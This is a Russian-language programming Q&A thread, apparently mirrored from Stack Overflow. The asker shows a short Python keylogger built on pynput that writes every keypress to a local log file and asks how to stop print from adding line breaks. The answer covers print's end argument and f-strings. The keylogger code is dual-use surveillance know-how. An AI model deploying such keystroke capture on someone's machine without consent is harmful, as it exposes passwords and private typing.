Есть ли способ, которым я не могу печатать в новой строке каждый раз, когда я что-то печатаю в файле журнала ключей ('user_logs.txt')? заранее спасибо - PullRequest
0 голосов
/ 24 июня 2019

Таким образом, проблема в том, что я не хочу, чтобы кейлоггер печатал новую строку каждый раз в коде.

Я пытался использовать несколько методов от кейлоггеров других пользователей, таких как: str(key).replace("'", ""). Тем не менее, это не работает.

libary

from pynput.keyboard import Key, Listener
import logging
import datetime
import sys
import inspect




def lineno():
    return inspect.currentframe().f_back.f_lineno

now = datetime.datetime.now()

журналы

log_dir = ""
logging.basicConfig(filename=(log_dir + "user_logs.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s:' )





def on_press(key):

    logging.info(str(key))

    #log info for computer screen

    print(lineno()),
    print(now),
    print(' INFO:'),
    print(key)


    str(key).replace("'", "")    


with Listener(on_press=on_press) as listener:
    listener.join()

Я ожидал, что вывод будет напечатан в той же строке, однако ничего с этим не поделать.

1 Ответ

0 голосов
/ 24 июня 2019

Для Python 3.x print принимает другой аргумент end для замены новой строки в конце print.

print(lineno(), end='')
print(now, end='')
print(' INFO:', end='')
print(key)

Кроме того, вы можете использовать форматирование строки.

print(f'{lineno()}{now} INFO:{key}')
...